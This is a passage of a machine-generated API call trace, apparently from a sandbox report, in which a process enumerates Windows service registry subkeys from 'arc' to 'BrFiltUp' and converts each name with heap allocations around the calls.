Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0254.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0254.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0254.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 